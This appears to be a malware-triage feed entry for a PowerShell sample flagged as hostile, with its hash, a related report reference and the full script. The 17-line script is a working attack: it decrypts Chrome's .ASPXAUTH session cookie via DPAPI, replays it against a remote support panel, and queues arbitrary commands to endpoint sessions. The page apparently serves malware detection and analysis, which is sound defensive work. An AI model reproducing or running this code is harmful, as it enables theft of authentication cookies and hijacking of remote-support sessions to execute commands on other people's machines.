Hostile 99% powershell Download

panel-reconstructed.ps1

Browser cookie decryption with management panel session replayBrowser session recovery paired with queued endpoint commands
SHA-25607013e9456c47aea2a6ece970999e3aedb8bc278ef6994dfad9b2068fd2d9cf9

Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (SCKit Malware Turns ScreenConnect Support Sessions Into Potential MSP Attack Paths).

Evidence

Invokes PowerShell REST request cmdlet lines 1–17
1param([string]$Panel = "https://panel.example.invalid", [string]$Command, [string]$SessionId)
2$database = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\Cookies"
3$rows = & .\sqlite3.exe -csv $database "SELECT name,hex(encrypted_value) FROM cookies WHERE name='.ASPXAUTH'"
4foreach ($row in $rows) {
5 $fields = $row -split '","'
6 if ($fields.Count -lt 2) { continue }
7 $bytes = [byte[]]::new($fields[1].Length / 2)
8 for ($i=0; $i -lt $bytes.Length; $i++) {
9 $bytes[$i] = [Convert]::ToByte($fields[1].Substring($i*2,2),16)
10 }
11 $clear = [Security.Cryptography.ProtectedData]::Unprotect($bytes,$null,[Security.Cryptography.DataProtectionScope]::CurrentUser)
12 $ticket = [Text.Encoding]::UTF8.GetString($clear)
13 $headers = @{ Cookie = ".ASPXAUTH=$ticket" }
14 $live = Invoke-RestMethod -Uri "$Panel/Services/PageService.ashx/GetLiveData" -Method Post -Headers $headers -Body '[[],{}]'
15 $body = ConvertTo-Json -Depth 8 -InputObject @(@($SessionId),@(@{EventType='QueuedCommand';Data=$Command}))
16 Invoke-RestMethod -Uri "$Panel/Services/PageService.ashx/AddSessionEvents" -Method Post -Headers $headers -Body $body
17}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.